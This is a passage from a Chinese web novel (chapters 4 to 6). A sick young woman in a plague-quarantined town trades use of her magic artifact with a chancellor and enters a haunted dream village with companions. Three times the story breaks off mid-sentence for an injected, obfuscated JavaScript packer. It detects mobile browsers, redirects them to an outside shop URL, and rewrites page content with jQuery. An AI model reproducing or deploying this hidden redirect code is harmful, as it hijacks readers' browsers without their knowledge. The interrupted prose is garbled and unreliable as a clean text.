那里正放着一张几寸长短小纸片,上面画了八个格子,第一个格子里印着一朵桃花印章,然而第二个格子却印着半朵桃花印,像是有人硬生生将那一半刮去,仅剩其余空白。 裴慕栀取出他怀中的手札,打开了里头的书页。书页上同样有着八个格子,可有四个格子是印着完完整整的桃花印。 “明明我们通关的是同一关卡,为何我是完整的章印,而你却只有半朵?”裴慕栀泛紫的指尖点上手札的第四个章印,那是他刚刚得到的最新章印。 “这场瘟疫席卷大齐以来,我从未听闻有人的章印只有半枚。不止是神器,看来柴姑娘你身上还有许多未解之谜。”裴慕栀笑意不达眼底。 柴胡一言不发,空气逐渐凝结。 4. 该死的特权主义 “柴姑娘缘何一言不发,可是在想如何编造谎言糊弄我?” 裴慕栀等了许久,都未等到柴胡的回复,继续追问着。 柴胡艰难地翻了个白眼,深深吸了一口气,可说出的话是气若悬丝:“你这个丞相位置是花钱买来的吗?没看到我连起来都困难,我有什么力气回复你那些破问题?” 说完柴胡捂住胸口,剧烈地咳嗽起来,身子都不受控地弯曲,可她仍旧没有力气攀附起来,只能躺在床榻上,如同一条失去水的鱼,奄奄一息。 柴胡抖动的身躯晃醒了长漠,长漠迷蒙双眼看到柴胡难受的模样,瞬间脸色大变,连忙扶住她,令她能呼吸通畅。 “我的小柴,你刚从梦醒来,一个转头你又扎进梦里去。你是什么受虐狂吗?身体没好全又去跟妖怪拼搏,还是你迫不及待想死?”长漠的小嘴巴拉巴拉讲个没完,令柴胡咳嗽完后的脑子嗡嗡的。 长漠看到柴胡颤抖的手指往外指,才留意到站在她身后的男人,“你又是谁?瞧你一副病怏怏的,该不会是想赖死我们吧?” 长漠怀疑裴慕栀不是没有道理,她此前遇到过不少在她面前装柔弱,其实心怀不轨的人。要么是盯上柴胡的神器,要么是看她们两个女子好欺负。 算得上好得只是想蹭她们收集起来关于关卡的信息,算得上坏的就是看中她们本身。 “我告诉你,如果你敢对我们怎样,小尚不会放过你们的!”长漠撂下狠话,尽管她不知道小尚在哪,可她知道万一她和柴胡出了事,小尚一定会出现,将人直接弄死。 裴慕栀与他的下属对视一眼,下属立刻退了出去。 裴慕栀在厢房仅剩的椅子上坐下,而长漠一边留意他的一举一动,一边小心翼翼地放平柴胡。 “放心,我命人去寻大夫了。”裴慕栀对于长漠的防备,颇感好笑,以免对方做出更激烈的行为,先开口替自己辩解。 “这废镇还能有大夫?”长漠狐疑地望着裴慕栀。 废镇里除了被朝廷派来的密查组,剩下的人不都是感染了瘟疫。倘若是大夫,怎么可能没有防范措施,令自己泥足深陷。就算是有,废镇某些势力可不会放过这些金疙瘩,自会囚禁在自己眼皮子底下,为他们研究瘟疫的治疗方法。 没有人愿意一次次进入梦里,去通关什么乱七八糟的游戏任务,还会丢命。 面对长漠的质疑,裴慕栀只说了四个字:“因为是我。” 长漠刚想说些什么,柴胡就顺着她的身躯攀起来,嘴唇翕动。 厢房骤然一静,就为了听清柴胡虚弱的声音。 “真是该死的特权主义。” 长漠沉默一下,望着又摔回去咳的撕心裂肺的柴胡,眼底是难以理解:“小柴啊,你爬起来就为了说这个啊?” 有时候,她是真的很难理解柴胡到底在想什么。 裴慕栀同样有些吃不准柴胡的行为,回忆她种种,只能用奇怪女子来形容。 大夫来得挺快。 长须老大夫佝偻着身子替柴胡把了半柱香脉象,面色迟疑。 “她可有事?”裴慕栀接过下属递来的温茶,饮了半盏后,询问老大夫。 老大夫瞅了一眼裴慕栀,正在琢磨怎么说,无意识与柴胡的眼神对上,不由一愣。 缓过劲来的柴胡,坐直了身子,慢条斯理说:“都是些老毛病,这位大夫无需在意。” “况且我这个病患,看起来不是没事吗?”柴胡微笑地看着老大夫。 老大夫犹豫片刻,回复自己的雇主:“这位姑娘的身子,现下确实没什么大碍……” 裴慕栀挑挑眉,想追问清楚,下一刻竟被柴胡反将一军,“但你的雇主脸色惨白,看起来比我还有事,你应该要去给他把把脉才是。” 老大夫看了一眼裴慕栀的眼色,慢慢蹭过去把了一下,“公子的脉象确实有些乱,需要静养。” 裴慕栀颔首,不由分说赶走了老大夫。 老大夫离开前,来回打量了一下柴胡与裴慕栀,呢喃自语:“这两个人,怎么那么相似……” 长漠听到后纳闷起来,她没觉得这两个人长得像啊。 不曾听到老大夫嘀咕的柴胡与裴慕栀,仍在互相交锋。 “柴姑娘,你能告诉我为何不愿与我合作?”裴慕栀心知柴胡身上一堆秘密,一口吃不成胖子,打算先从最迫在眉睫的情况入手。 没等柴胡说话,长漠眉心一皱,率先发难:“小柴不愿干就不愿干,问那么多做甚?” “我是不能理解。”裴慕栀缓缓开口。 明明与他合作才是摆脱这场瘟疫的最有力手段,废镇其他人上赶着巴结他,他都不理会,怎么到了柴胡这里就撞墙了,除非…… 裴慕栀眼神微眯,推测道:“按照柴姑娘对待神器的做法,以及拒绝我的态度,除非柴姑娘是真的不想活了,唯有如此我才能理解柴姑娘你的所作所为。” 至此,长漠不由抓了一下柴胡无力的手心。 柴胡乏力地靠在长漠怀中,斜睨了一眼跟她一样半死不活的裴慕栀。 “讲到底你其实是图我的神器,别往我身上整那些乱七八糟的试探,干脆打开天窗说亮话。” 柴胡口吻严肃,神情倒有几分认真:“我不会跟你合作,我只会跟你做个交易。” “有何不同?”裴慕栀问。 合作不一定双赢,但交易却是明码实价。 柴胡翻了个白眼,自顾自说要求:“我可以在有限的次数里给你用神器,你不用护我,万一我出事了,你要用尽所有的力量去保护长漠,直到她寿寝归终。” 裴慕栀嗤笑一声:“柴姑娘觉得我是什么冤大头吗?” “但长漠是你要守护的百姓之一。”柴胡直接点明裴慕栀的重心,“你虽地处废镇,可依旧是大齐丞相,拯救万民是你的责任亦是你在行之事,不然你不会想到要接近我。我觉得我能让你在危急时刻用神器已经是赚大发的事了,很公平。” 对于裴慕栀这种人来说,充分掌握住神器主人是好事,但怎么运用也是一件头疼事,最重要的是时机。 裴慕栀不可能每一次都刚好跟柴胡碰上同一关卡,得到柴胡分出去的神器,如何把握用它的时机,便是裴慕栀的事。用得好的话,指不定能拯救不少人。因此柴胡认为她提出的交易是合情合理,公平公正。 裴慕栀眼睫微垂,终是允诺柴胡:“可以,合作……交易成功。” 话音落下,厢房静得能听到外面传来窸窸窣窣的吵杂。 柴胡眨眨眼,感受自己身体有了些许力气,抽出几袋小柴胡颗粒丢在裴慕栀怀中,两人互相立了交易凭条字据后,柴胡用眼神示意长漠赶紧扶她起来,离开这片窒息的空间。 裴慕栀在柴胡打开房门,脚步准备踏出去之际,再次开口:“说起来,我们尚未试验过由他人之手在梦里冲泡这神器,结果是否与你一致,尚且未知。” 柴胡艰难放下虚空迈出的大腿,“你想怎样?” 裴慕栀慢慢转过身,“总得试试方知交易能不能继续。” 不怪裴慕栀谨慎,迄今为止只有柴胡用过这种神器杀死关主,其他的人都是老老实实完成引 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103175|195766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路人给出的任务,然后卷入各种纷争死去。 柴胡带着她的神器横空出世,知道的人不少,盯上她的人更不少。可没什么人能从她手上夺走神器,自然无人知晓旁人冲泡的是否有同等效力。 再加上入梦后每个人携带的物什一定是那个人入梦前本该持有的,然而有时候这些物什在梦里不会出现。这种情况到底怎么区分,朝廷派出的密查组仍旧在摸索,已知情况是废镇的人都在这种几率上赌上一把,将能用的都随身携带,总有中的时候。 这也导致废镇许多人都是身着长袍,长袍下皆是要用的各种兵器或通关物什,满身臃肿。 基于前提条件,裴慕栀会忧虑本属于柴胡的神器,转移到他身上后,短期内是否会随他一同入梦。 柴胡对于裴慕栀的忧虑,满是不屑:“你是既要又要,又要威又要戴头盔,怕死就别做交易,做了交易就不要畏手畏脚。” “头……我作为交易一方,担心一下都不行?”尽管裴慕栀不理解什么头盔,但不妨碍他为自己辩解一下。 “货物出门恕不退换。”柴胡的话听上去有点强买强卖,架不住一个你情我愿。 是裴慕栀主动寻求的合作,他看中了柴胡的价值,如今又逼逼叨叨。 长漠小声嘀咕:“真是个活爹。”真难伺候。 柴胡撇撇嘴,直接带着长漠离开,懒得跟裴慕栀继续掰扯。她也不怕裴慕栀毁约,堂堂一个丞相,最多会耍心眼耍她,但允诺的事情他至少会做到。 柴胡这些时日没少听长漠讲裴慕栀的八卦,因此对他的人品,还是有些信任的吧? 柴胡离开厢房才发现原来她们是在酒肆的房间,她们往常都是在大堂用饭,没上过二楼,甚至没见过有人上过二楼,店小二说二楼是不对外的。所以当她们从二楼楼梯出现时,大堂零零散散的客人齐刷刷地看向她们二人。 柴胡压低了帷帽,幸好裴慕栀的下属把她的帷帽一起拿来了,身上的长袍也能挡住长漠的脸,不然周遭的人都会知晓她们长相,又引得贼子觊觎,搜刮她们会从二楼出现的原因。 就在柴胡以为自己能顺利走出酒肆,躲过大堂那些不怀好意的注视时,她与刚迈进酒肆的少年撞上了。 那少年似乎走路不看路,一味看着手中的书籍,被猛地撞了一下后,书籍掉落在地上,让柴胡刚好瞧见书皮名字——《霸道丞相爱上我》。 柴胡瞬间如遭雷劈,僵硬原地。 “咦?你不是跟我一起闯关那个吗?”少年捡起书,还未道歉,抬眸瞧到因长袍散落而露出脸的某人,马上惊讶起来。 柴胡没有回答这个问题,反倒指着他的书问道:“你这书是哪里来的?” 少年有些疑惑,挠挠头,“我进废镇之前,在书局买来的啊。” 长漠也瞧到那书,纳闷问柴胡:“小柴你没看过这些书吗?我以为只要是大齐人都知道欸,几乎人人一本。我儿时读物也有它。” 柴胡脑子嗡嗡的,先前察觉的违和感在此刻达到顶峰,“你那本《近百年流行爱情蜜语大全》……” “也是书局买的啊。”少年马上回答,后有些许迷茫又恍然大悟。 长漠搞不清柴胡询问的用意,只能从她手心传来的微微颤抖,感受到柴胡的心思起伏。 “胡喻,你堵在门口做甚?”一把如刀割般的沙哑男声从少年身后传来。 少年稍稍侧身,让开了道。 “仇大哥,我刚好遇到了熟人,就聊了一下。” 少年笑着朝满脸刀疤交叠,一副狰狞样的黑衣劲装男子说道。 5. 她真的生了一块叉烧 酒肆内肆意打量门口三人的视线马上消失不见。 长漠看到那张伤痕累累的脸亦是愣了一下,眼底闪过几分恐惧。 只有柴胡一动不动死死盯住胡喻的书,对周边变化毫不关心。 胡喻察觉到灼热的视线,犹豫几分:“要不,这本书送给你?” 说着就把书递了出去,柴胡呆呆接过,愣神间听到胡喻介绍他身边之人。 “仇不眠,仇大哥。是从小看着我长大的,属于我的家人之一。”胡喻落落大方地朝两人说道,他并不怕别人知晓身份,实际上他每次结识到新的人都会给他们介绍一遍仇不眠。 这个要求是他家里人定下的,即使胡喻不懂为什么要这样做,他也仍是兢兢业业的做着。随着在废镇待的时间久了,胡喻开始明白仇不眠是用作威慑他人的。每个人一见到仇不眠的脸就会恐惧,加上他本身的硬实力,就不会有人敢对胡喻出手。 “介绍完,我们可以走了吧?”长漠紧紧攥着柴胡的胳膊,声音有些微颤,等胡喻一点头,生硬拉拽柴胡离开酒肆,往落脚的小屋跑去。 幸好她跑时还会留意柴胡的身体状况,不然柴胡的破身体是直接原地入土。 看两人跑得飞快,胡喻撇撇嘴,叹了一声。 他颇为遗憾地对仇不眠说:“没关系的,仇大哥,她们不知道你的好才会怕你,世人总是被表皮蒙骗,你放心,我绝对不是那种人。” 未出一声的仇不眠只是淡淡地看了胡喻一眼,随即侧眸看向另一位面色惨白的贵公子。 裴慕栀见到仇不眠时,口吻携着几分惊讶:“最近可真是遇到不少有趣的事。” 抛下一句摸不着头脑的话,微笑地与仇不眠擦肩而过。 胡喻摸摸下巴,思索着总觉得他在哪里见过这人。一听裴慕栀的言论,直觉推测:“你们认识?” 仇不眠头也不回进入酒肆,点了几个胡喻爱吃的菜:“不认识。” 胡喻心有不解,也不敢细问,心思飘向了离去的柴胡与长漠,琢磨在梦里看到的一切。 已经离远的柴胡被长漠拉回去后,大睡了好几天,醒了也只是翻阅胡喻给她的书,时不时发愣。 长漠瞧不得她这样,本来就是病怏怏的,如今更是一副死相。 趁着尚且有时间未入梦,打算扯柴胡出门逛逛,美名曰吸吸人气。虽然说出去,鬼都不信。 感染瘟疫的人,入梦时间从来就不规律,有时候人走着走着就倒地不醒,有时候是用饭,有时候是与人交谈间……琢磨不透的规律,使得废镇的人活得更辛苦。入眼所见,皆是昏倒路边的“尸体”。 有些店会集中处理,丢在门口。但更多时候是靠运气,被密查组巡逻人看到后,堆砌在一起。 更多人选择省事的方法,便是待在家里拒不出门,因此即便废镇有很多很多的人,可仍然如鬼城般空荡荡的。 一般情况下,长漠会和柴胡宅家不出,尤其柴胡又是那般虚弱。但如今长漠都对柴胡的状态看不过眼,才不管三七二十一。 “小柴啊,人活着总得有个盼头,不能行尸走肉,你才跟那个活爹做了交易,总得坚持坚持,监督交易是否有效吧。”长漠费劲地替柴胡捣腾,嘴里说着乱七八糟的话,她也不知道自己在说些什么,但总得说说,让柴胡能像个人。 “你不是喜欢这书吗,等你以后痊愈离开废镇,可以去书局买一大堆来看,书局里特别多这类的。”长漠觑着柴胡的脸色,岂料越说越惨白,吓得她立刻止住话头。 柴胡侧侧头,让她的长发丝从长漠的手中滑落,“我曾经也有过盼头,只是越活越发现,全都是镜中花水中月。” “啊?” 长漠刚想接着问,结果突然栽倒在柴胡身上,把柴胡压得喘不过气,废了老大的劲才推开了她,然后找好被褥盖上,将人整理好。 漏风的门吹来废镇独有的灰蒙蒙的雾气,隐约还能闻到木头腐烂的臭味。 她蜷缩在小屋的角落,看了看昏睡的长漠,掏出那张盖了章印的小卡片,喃喃自语:“我也想活着,可活着又有什么意义。” 她集章的是小卡片,大齐人拿着的却是手札,这一点就已经说明她们的不同。 而那本不该存在的书更是隐隐约约告诉她,没有回去的机会。 无论在哪里,她都像个异类一样,没有她的归属。 柴胡捂住发疼的胸口,指尖掐住了小卡片的一角,她的手背青筋尽显,使出的力气没有造成小卡片分毫的伤痕。逐渐的,小卡片上的桃花印由一枚变三枚,三枚变五枚,最终被吞没于暗色之中。 “离家许久的你们似乎遗忘了家的模样,但是没关系,请常回家看看,关心一下你们家人。” 一改以往清晰明确的任务要求,没头没脑的话令白雾中聚集的人群陷入了迷茫。 “她在说什么?” “任务呢?攻略关主的提示呢?” 疑惑的人七嘴八舌交谈着,有些忍不住上前想追问绿衣少女。 绿衣少女只是轻轻一提灯笼,笼罩四周的白雾争先恐后地将她身影包围,直至消失。 与此同时,闯关者的戏台跃然于人前。 一条长长的青石路东一块西一块铺垫着鹅卵石子,村落的牌坊被雨水侵蚀良久,看不清上头的字。空气中弥漫淡淡的黄沙,叫人迷蒙双眼,看到村落之中摇摇晃晃的黑色身影。再远看,一座青山屹立,直插上天。 柴胡忍不住拿出碎布捂住鼻腔,黄沙细碎,在呼吸间侵入鼻子,顺着通道进入,如割喉般的刺裂感带出丝丝铁锈味。 “欸,你也在?”惊喜的声音从柴胡身后传来。 伴随哒哒哒的脚步声,柴胡认出绕到她身前的是前些日子见过的胡喻。 而他的身边跟着同样有过一面之缘的仇不眠。 胡喻踮起脚尖观望前头耸动的二十余人,想看看里面是否还有认识的,看了半天,就只有躲藏一角,好像怕人认出的柴胡。 虽然搞不清楚状况,但人已经陆陆续续经过牌坊,进入村落。 胡喻转念一动,靠近柴胡:“不如我们一起行动?” “仇大哥身手不错,可以帮你做那件事。”胡喻挤眉弄眼,自以为藏得很好,暗示很深,却不知他此话一出,便引起几个人悄然一瞥。 柴胡看了看胡喻,“不用了,我性格孤僻,喜欢独来独往。” 本以为这样说,就能拒绝胡喻。 岂料对方是个脸皮厚的,一拍大腿,张大嘴巴,夸张说道:“这不就巧了,我仇大哥也是性格孤僻,特别爱一个人行动。你们两个刚好独到一块去,彼此理解深,能合作得非常有默契。” 柴胡直接用行动代替言语,冷着脸径直朝前走,胡喻是眼巴巴地跟上。 下一刻,一只大手拦去了胡喻的去路。 胡喻定睛一看,眼睛更亮了:“丞相大人,您和我真是别样的缘分才能在此重逢。” 他后来才想起裴慕栀的模样及其身份,如今又能见到是肉眼可见的开心。 裴慕栀无视这种阿谀奉承,微笑表示:“柴姑娘已经拒绝你了,你也算出身世家,何必死缠烂打惹出笑话,平白无故丢了世家脸面。” 胡喻双手合十虔诚状:“世家头衔又不能保我性命,如今这废镇只有三人可保我性命无忧。一位是您,一位是我身边的仇大哥,剩下那位我不用指名道姓,您应该清楚。” 一说完,他就见到裴慕栀的食指抵住了唇,作噤声状:“有些事,更不需要坦荡说出。” 胡喻连连点头,一转眼柴胡已经离他很远了,是不管不顾拔腿就跟。 仇不眠与裴慕栀对视后,沉默地跟上胡喻的步伐。 而柴胡余光瞥见裴慕栀的那道身影,心情跟身体一样,差到了极点。 这时,有人到了柴胡的跟前。 “姑娘,看你没有同伴,不如我们合作一起攻略这个任务?”面如冠玉的书生样男子说出了他的目的,后头两男两女则是打量着柴胡,看上去是一伙的。 怎么天天都有人想找她合作。 柴胡纳闷的同时婉拒了男子的提议。 男子瞬间垮脸,用与他外皮不符合的充满威胁的口吻道:“真是给脸不要脸,瞧你一副死相,没有我们,你一个弱女子怕是难过这一关卡,还装什么?” 突然的发难,让柴胡深深吸了一口气,屏住呼吸,用尽全身力气狠狠踹了对方下三寸一脚。 尽管在梦里,该痛还是会痛。 后头男子的同伙们瞧见这一幕,纷纷上前打算围殴柴胡,跟上来的胡喻一看,气急败坏。 “敢动我大腿?仇大哥快打死他们! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103176|195766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 未等那两男两女放下狠话,嘲笑几番。一道黑影快如闪电飞过,他们的脚离原本的地面有了几尺远,接二连三砸向了青砖制的房屋墙壁上,物体撞击的强烈巨响似乎引动了屋内的人,传出一些细微的响音,却久久不见有人出来的迹象。 胡喻瞅了瞅昏死过去的同伙,皱皱眉好像不是很满意的样子。 侧头看向地上煞白脸捂住下方的书生,“我觉得难解心头恨,既然他们晕过去了,理应由你这个带头的继续受罚。” 仇不眠一听,抬脚就要往某个受伤的地方进行强劲有力的打击。 裴慕栀抬手拉住他:“适可而止。” 仇不眠望向胡喻,胡喻下意识望向柴胡,柴胡两眼失神地望向黄沙铺盖的天。 她这暴脾气,一时忍不住了的后果就是全身脱力瘫软在地。 所幸胡喻心心念念要抱紧柴胡这条大腿,协商之后与仇不眠一人抬一边,架起柴胡向前走。 胡喻边架边说:“哎呀,这让我有点想起前些年祭祖时候,族里人叫我抬烤乳猪的景象。说到这,好久没吃烤乳猪,有几分念想。” 不仅说,还砸吧了一下嘴。 后知后觉貌似不应该这样形容一名女子,愧疚道歉后,柴胡摆摆手。 “没事,我也想吃。” 胡喻一听,大喜:“等我们抗过瘟疫,出了废镇,我请你吃!” 柴胡嘴角忍不住勾起一丝笑,随后又想起什么,沉了下去。 仇不眠充耳不闻,拉起柴胡的手,做好架起的姿态,后一瞬被裴慕栀的手臂截住了。 仇不眠疑惑的眼神与裴慕栀的对望片刻,默默松手,将位置让了出来。 这场小的眉眼争斗没有引起谈烤乳猪的两人注意,等柴胡反应过来时,才发现自己另一边半拢着裴慕栀的笑脸。 柴胡:“……”他到底想干什么? 胡喻没想那么多,乐颠颠地撑住他的“大腿”走。 进了村落,路过的房屋门窗紧闭,隐隐约约听到一些闯关者们陆陆续续地敲门,应该是想要进入屋子里查看一番。 柴胡观望了一会,裴慕栀率先说出她心中的答案:“屋里有人,但其他人砸不开门,于是就用比较礼貌的方法。” “目前我们的任务未知,关主未知,这一关估计很难。” “我们皆是外来者,梦境里的一切不属于我们,可引路人却说让我们看看家人。”裴慕栀说到这,停顿了一下,“我认为我们首先得找到一个家,你觉得呢?” 裴慕栀这个询问是面对柴胡的。据他观察,胡喻不用想,一副能抱大腿就抱大腿的模样。仇不眠则是随了胡喻,胡喻想做什么就做什么。 难听说一句,目前四人组里头,只有他和柴胡是会动脑子的。 会动脑子的柴胡:“……你当爹,他当娘,我上小孩桌,还有一个充满故事的刀疤叔叔,我们是美好的一家?” 裴慕栀:“……” 胡喻摸摸下巴,又摸摸头发,怅然道:“我当娘啊,也不是不行。你说对吧,小叔子?” 小叔子·仇不眠:“……” “为什么你不是娘?”裴慕栀垂眸认真地问柴胡。 柴胡抱以同样严肃的态度回复:“因为我生不出这种蠢东西,我只会生叉烧。” 作为四人里的正常人,裴慕栀忍不住看向仇不眠,仇不眠收到裴慕栀希冀的目光,沉吟半刻。 “我应该比他年长,小叔子不合适。” “好的,夫兄。”胡喻从善如流改口。 正当裴慕栀怀疑是不是他疯了,低沉缓慢略带沧桑的嗓音似贴在四人耳边说道:“我的乖儿们回来了?还带上媳妇和女儿,果然很孝顺。” 裴慕栀的匕首一把横在突然从他左侧出现的老叟脖颈上,神色严峻。 老叟像是感受不到刀搁在脖颈间冰冷的感觉,比裴慕栀矮上半截,佝偻的身躯说道:“刚好家里做好了饭,就等你们回来。” 裴慕栀侧眸看看其他人。 一声不吭的柴胡抬眸看向老叟那张摇摇欲坠的面皮,面上的肌肉似乎挂不住那张皮,下巴开开合合的力道令皮向下的弧度变得更大,整张嘴宛如血盆大口,能看清稀缺的黄黑烂牙齿,以及深不见底的黑洞。 家里做好饭,等着她们下菜呢。 6. 想拔氧气管的第一天 “你个败家玩意儿,果然是吃干饭的!让你洗碗不洗,洗了还把碗洗破,要不是念在你生了个女儿的份上,我早就让我的乖儿把你赶出去!”老叟背着手破口大骂。 被骂的胡喻一脸茫然地用空气洗着沾满黑黄色粘腻物的碗,碗边还崩了一角。 身后是柴胡等人,虚坐在木条板凳上,望着老叟边徘徊胡喻周遭,边辱骂着他。 老叟似乎意犹未尽,眼睛一转,继续口喷腥臭的液体:“也不对,你就只给我生了个女儿,女儿有什么用。我乖儿多孝顺,肯定是你在背后教唆,他才不肯给我生个乖孙子。” “儿子好啊,又孝顺又能延续香火。” 胡喻苦着脸,实在没招了,才弱弱开口:“这个碗得洗到什么时候?” 这破屋乌漆麻黑的,借着外头的光亮隐约见到屋里头布满白白的蜘蛛丝,一进屋是清晰可见飘舞的灰尘,完全不像有人居住。 就连胡喻刚进门,就被老头吩咐去洗碗,准备碗筷吃饭。他将小小的屋子都摸了一遍,也没找到水源洗碗,最后出了馊主意——假洗。 横竖他们都不会在梦里头进食,碗干不干净也无所谓。 谁知他越洗,那老头就骂得越过分。胡喻找不到突破口,唯有沉默僵硬着双手,重复假洗动作。 老叟眼皮一掀,看了一眼,十分不满:“洗完了就放到饭桌上。” “叫你洗个碗还老大不乐意,我还不能使唤你了?”老叟嘀咕着,步履蹒跚朝屋内更深的地方走去。 胡喻捧着脏碗,在老叟背后打了一套空气拳法,虎虎生风,半点挨不着老叟的边。 仇不眠往胡喻肩膀搭了一只手,半天蹦出两个字:“忍忍。” 柴胡也走过来,怜惜地看了他一下,却没多说什么,跟随老叟脚步到了饭桌边。 饭桌上点了一根燃烧到一半的白蜡,微弱的火苗光晕笼罩在看不清原貌的饭菜上。老叟坐在上位,静静等着她们入座。 胡喻把碗刚放下,正准备要坐。老叟突然伸手扇了他一巴掌,火辣的疼痛感遮盖住胡喻其它感官,使他无法第一时间发现自己面上的皮被撕了一小块下来,渗出丝丝血液。 老叟阴鸷的双眼凝视着胡喻,“女人不得上桌。” 柴胡与裴慕栀对望了一眼,担惊受怕地挨到饭桌坐下,而老叟竟对柴胡毫无反应,只是把他手心攥着的皮嚼进嘴里。 老叟牙口不好,嚼了许久。越嚼,柴胡几人越是头皮发麻。 “坐啊,我的乖儿们。赶紧吃饭,不然该凉了。” 裴慕栀沉默了一会,挨着柴胡坐下,仇不眠亦同。胡喻捂着脸颊站在边上,哀怨地看着他们。 老叟哪管他们暗潮涌动,扒拉起饭菜暴风吸入,没半分为人的吃相。本来毫无食欲的饭菜经过摧残,更是难以入眼,如同潲水。 柴胡是不敢动了,忍着想吐的念头,强打起精神。在老叟吃饱喝足后,询问道:“你有没有什么想要我们做的?” 绿衣少女不明不白的任务,叫人无法行动。虽然对柴胡来说没什么分别,可突如其来的变故仍叫她不得不提防。 老叟翘着二郎腿,脸上满足的神色在听到柴胡的问题时消失了一大半,“哼,我想要?” “我当然想要个乖孙子,我的乖儿生个儿子,我就高兴了。这才是我的好乖儿!” 等老叟回屋休憩,胡喻才期期艾艾凑过来,他面上流的血已经止住了。 “为什么你坐饭桌,那死老头没对你动手?”胡喻百思不得其解,怎么就他遭了毒手,柴胡却毫发无伤。 “我还想说难道梦里的男女性别颠倒?可仇大哥跟裴慕栀也没事。” 裴慕栀垂眸一想,说道:“是方才我们胡闹间的设定。” “我与仇不眠是老人的儿子,你是我妻,而柴姑娘……是我们的女儿。” 有那么一瞬间,裴慕栀的神情变得难以言表。 胡喻狐疑地看向发愣的柴胡,“死老头不是说女人不得上桌?” 柴胡被拉回注意,淡然道:“我是小孩,不是女人。” 刚刚她就说了她是上小孩那桌的。 胡喻琢磨了一下,双掌一拍,“合着只有我这个‘女人’不得上桌,连小孩的身份都比我高?” “接下来打算怎么办?”仇不眠看向裴慕栀,神情冷淡。 “任务要求不明确,要想突破关卡,难道真的给他生个儿子出来?” 胡喻下意识地看了看裴慕栀那张脸,犹豫道:“能跟大名鼎鼎的丞相大人……也不是不可以。” “我不行。”裴慕栀毫不犹豫。 接着他戳了戳柴胡,“女儿,你说句话啊。” 柴胡:“……是时候展现真正的技术了。” 裴慕栀没懂,可见到柴胡下一刻那令他熟悉的动作,他就懂了。 柴胡掏药包掏到一半,停顿了一下,随后又塞了回去,扭头向裴慕栀说:“你的拿出来展示展示。” “为什么要我的?” 柴胡觉得他是十足的冤大头,眼神复杂:“你跟别人交易之后,都不会想到要亲身试试效果吗?” 明明是他自己说要试的,结果自己倒忘了。 裴慕栀仿佛回忆起这件事,“可这屋内似乎并无水源,得去外头找找。” 柴胡挠挠脸,“实在不行,也有别的法子。” “愿闻其详。” 柴胡指指一头雾水,听不懂对话的胡喻,“让他含着,在他嘴里泡一下。只是这方法有点恶心,正常来说我自己是不会用的。” “所以你让别人用了。”裴慕栀那么一刻,与柴胡那颗神奇大脑共享了。 “你就说用不用吧。”柴胡索性摆烂,方法她已经说了,执不执行就看裴慕栀自己。 不等裴慕栀发话,仇不眠率先走出屋子。片刻后,他拎着一碗混浊的水和一名陌生有些瘦弱的男子重新进屋。 “他是谁?”胡喻问道。 仇不眠把水递给裴慕栀,解释道:“在外头碰到了,是他带我找到水源的。他说他有方法通关关卡,特意来施舍我们人情的。” 男子释放善意的笑容不禁抽了抽,“在下方明,方才在路上遇到这位仁兄似乎非常苦恼的模样,秉承着大家都是闯关者,理应团结一致,所以我才来帮助你们的。绝对不是什么施舍人情。” 最后一句话,被方明说得很重,感觉是在咬牙切齿。 柴胡从上到下打量他几分,之后默默移开视线,看着裴慕栀冲泡颗粒,他不会撕开包装袋,还是柴胡帮他撕的。 胡喻是接过了方明的话头,“所以你有什么了不得的方法?” 方明的视线扫视了一圈,柴胡余光发觉到他在认真严谨搅拌着液体的裴慕栀身上停留了一下,随后装作若无其事状,耐心向胡喻讲解。 “我在其他闯关者那里看过,发现他们都是遇到同一个问题。”方明故作悬念的停顿了。 “那就是他们都遇到一位老人,要求他们回家并且要孝顺他。其他人有些是按照老人的要求去做了,可是看不见成效。而没有按照的……” “如何?”胡喻赏脸地捧哏。 “我不知道。”方明浅笑着回答。 胡喻瞬间脸垮了,“你耍我们?” 方明直呼冤枉,“我是真的不知,据别人所说,他们拒绝完成任务,离开去寻找别的方法通关,接着就再也不见踪影了。” “明明这个村落不大,几乎一眼到头,可他们就是找不到那些四散的伙伴。可能被白雾吞了吧,我们是这样猜测的。”方明耸耸肩。 胡喻抹了一把脸,“讲了半天,你都是在交代背景,没有讲方法。” 仇不眠的杀意开始尽显。 方明露出谄媚的笑容,“我的方法很简单,就是顺着老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103177|195766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人家的意思,他叫东绝不往西,这才是孝顺的本意。” 这时柴胡抬头,侧眸看方明,“我跟你说个秘密。” “啊?” 柴胡认真地说:“其实我是女的。” 方明顿时一愣,看柴胡半晌,犹犹豫豫说:“你看着也不像男的啊。” 柴胡点点头,“所以我在说废话,只不过是回报你的废话大全而已。”潜台词是你个傻缺浪费我时间。 